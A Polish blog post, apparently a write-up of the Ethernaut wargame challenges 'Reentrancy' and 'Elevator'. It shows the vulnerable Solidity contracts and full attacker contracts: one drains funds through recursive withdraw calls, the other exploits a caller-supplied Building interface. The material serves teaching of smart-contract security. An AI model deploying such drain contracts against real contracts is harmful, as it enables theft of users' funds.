The Ethernaut #10 i #11 – reentrancy & elevator

Przemek/ 26 października, 2023

Po dłuższej przerwie od eksploracji smart kontraktów, czas powrócić do tego fascynującego zagadnienia. Dlatego też, dzisiaj zajmiemy się kolejnymi dwoma wyzwaniami z platformy Ethernaut o nazwach “Reentrancy” oraz “Elevator“. Tradycyjnie, rozważymy kod tych kontraktów i spróbujemy je zaatakować. Bez zbędnego zwlekania, przystąpmy do pracy!

Zadanie #10 – Reentrancy

Rysunek 1. Dzień świstaka
(źródło: https://www.istockphoto.com/pl/ilustracje/groundhog-day)

Nazwa dzisiejszego pierwszego zadania może wydawać się znajoma dla czytelników tego bloga. Nic w tym dziwnego, ponieważ jest to określenie ataku, który został opisany w jednym z poprzednich wpisów. Niemniej jednak, dla odświeżenia wiedzy i w ramach chęci ukończenia wszystkich wyzwań, przyjrzymy się również temu zagadnieniu.

Zanim przystąpimy do analizy kodu, warto przypomnieć, że reentrancy to podatność smart kontraktu, polegająca na wielokrotnym wywołaniu metody wypłacającej środki, bez aktualizacji informacji o stanie naszych środków w kontrakcie, aż do zakończenia transakcji. Innymi słowy, jest to podobne do błędu w bankomacie, z którego chcielibyśmy wyciągnąć pieniądze, ale ten po pojedynczej wypłacie nie odejmuje pieniędzy z naszego konta, co umożliwia dalsze transakcje, opróżniając automat.

Mając już świadomość, czym jest reentrancy, możemy przystąpić do analizy kodu zadania:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/math/SafeMath.sol";

contract Reentrance {
    using SafeMath for uint256;
    mapping(address => uint) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint balance) {
        return balances[_who];
    }

    function withdraw(uint _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result, ) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

Kontrakt wydaje się dosyć prosty, pełni funkcję swoistego sejfu, który pozwala na wpłacanie i wypłacanie środków. Zawiera on jedno pole przechowujące saldo użytkowników oraz cztery funkcje. Pierwsza służy do wpłacania środków, druga do odczytywania salda poszczególnych adresów, trzecia do wypłacania środków, a czwarta, będąca jednocześnie tzw. funkcją fallback, służy do przesyłania środków na adres kontraktu. Jeśli nie pamiętasz, co to za twór, tutaj znajdziesz przypomnienie. Ważne jest jednak to, że w tym przypadku wpłacając środki za pomocą tej funkcji, nasz saldo nie zostanie zaktualizowane w mapowaniu.

Warto również zauważyć, że ten kontrakt został napisany z wykorzystaniem dość starej wersji Solidity, mianowicie 0.6.12. Gdyby użyto przynajmniej wersji 0.8 z tym kodem, nie byłoby możliwe przeprowadzenie ataku na ten kontrakt. Niemniej jednak, sytuacja jest taka, jaka jest, więc możemy przystąpić do działania.

Zrozumiawszy mechanizm reentrancy, wiemy, że musimy odpowiednio wywołać funkcję “withdraw“, a dokładniej, musimy napisać kontrakt, który będzie w stanie wielokrotnie ją uruchomić w “pętli”, w celu wyczerpania środków. Taki kontrakt może wyglądać na przykład tak:

contract Hacker {
    Reentrance target;

    function attack(address payable _target) external payable {
        target = Reentrance(_target);
        target.donate{value: msg.value}(address(this));
        target.withdraw(msg.value);
    }

    receive() external payable {
        uint256 amount;

        if (address(target).balance <= 1e15) {
            amount = address(target).balance;
        } else {
            amount = 1e15;
        }
        if (amount > 0) {
            target.withdraw(amount);
        }
    }

    function withdraw() external {
        (bool success, ) = msg.sender.call{value: address(this).balance}("");
        require(success);
    }
}

Naszym zadaniem będzie wywołanie funkcji “attack” z odpowiednimi parametrami. Jej celem jest początkowo wpłacenie środków do podatnego kontraktu, a następnie uruchomienie metody “withdraw“, co rozpocznie proces kradzieży, wspomagany przez funkcję “receive“. Możesz zapytać, dlaczego używamy liczby 1e15 (1000000000000000) w tej funkcji. Odpowiedź jest prosta: to dokładnie tyle etheru znajduje się w kontrakcie Reentrancy, i to właśnie tę samą kwotę przesyłamy podczas początkowego ataku, a takie podejście ułatwi nam cały proces.

Teraz możemy już wprowadzić adres kontraktu i wspomnianą kwotę i voilà, środki zostają przejęte. Standardowo, potwierdzamy wykonanie wyzwania na stronie i przechodzimy dalej.

Zadanie #10 – Elevator

Celem kolejnego wyzwanie jest dostanie się na ostatnie piętro w budynku. Brzmi banalnie, ale spójrzmy w kod, żeby zobaczyć, gdzie jest haczyk.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint) external returns (bool);
}

contract Elevator {
    bool public top;
    uint public floor;

    function goTo(uint _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

Na samej górze zdefiniowany jest interfejs Building, który zawiera jedną funkcję, mającą na celu zwrócenie informacji, czy podane piętro jest ostatnim. Poniżej znajduje się kontrakt Elevator. Posiada on dwa pola. Pierwsze z nich przechowuje informację mówiącą, czy udało nam się osiągnąć szczyt budynku. Drugie pole odpowiada za piętro, na którym obecnie się znajdujemy.

W kontrakcie znajduje się tylko jedna metoda o nazwie goTo, która ma nas przenieść na wskazane piętro. Na początku tej metody tworzona jest referencja do kontraktu Building, a następnie sprawdzane jest, czy docelowe piętro jest ostatnim w budynku. Jeśli nie jest, to w kontrakcie zapisujemy obecne piętro oraz wynik wywołania funkcji isLastFloor. Tutaj pojawia się problem. Jak możemy ustawić wartość pola top na true, skoro żeby to zrobić, to nie możemy być na ostatnim piętrze? Na pierwszy rzut oka, to wyzwanie może wydawać się bez sensu, ale na szczęście diabeł tkwi w detalach.

Kilka linijek wcześniej, inicjalizowana była referencja do samego budynku, ale jest ona tworzona na podstawie adresu, który wywołał tę funkcję. Skoro tak, to nic nie stoi na przeszkodzie, abyśmy stworzyli odpowiednią implementację budynku, a następnie poprzez nią wywołali metode goTo. Jedynym wyzwaniem w tym przypadku jest takie zaimplementowanie funkcji, aby zwróciła różny wynik dla tego samego parametru przy kolejnych wywołaniach. To jednak nie jest nic trudnego, a nasz kod może wyglądać na przykład tak:

contract BuildingHacker is Building {
    bool visited;

    function isLastFloor(uint) external returns (bool) {
        bool result = visited;
        visited = true;

        return result;
    }

    function attack(Elevator elevator) external {
        elevator.goTo(1);
    }
}

Ten kontrakt implementuje wcześniej wspomniany interfejs Building w taki sposób, że podczas pierwszego wywołania zapisuje informację o wykonaniu metody oraz zwraca wartość false. W drugim wywołaniu tej funkcji zwracana jest odwrotna wartość. Druga metoda w tym kontrakcie służy jedynie do wywołania funkcji goTo z kontraktu Elevator. Jeśli chodzi o piętro, na które chcielibyśmy się przenieść, to nie ma znaczenia, dlatego możemy podać tam dowolną liczbę.

Dzięki tak skonstruowanemu kontraktowi możemy przystąpić do ataku. Wystarczy wgrać go na blockchain i uruchomić napisaną funkcję, jednocześnie podając jej adres kontraktu Elevator. W ten sposób udało nam się ukończyć kolejne wyzwanie. Teraz już tylko zatwierdzamy je za stronie i koniec pracy na teraz.

Mam nadzieję, że dzisiejsza zabawa pomogła zrozumieć kolejne subtelności, które mogą występować w smart kontraktach. Na pewno jeszcze wrócimy, aby podjąć wyzwania postawione przez Ethernaut 🙂

Share this Post
Subscribe
Powiadom o
guest
0 komentarzy
Inline Feedbacks
View all comments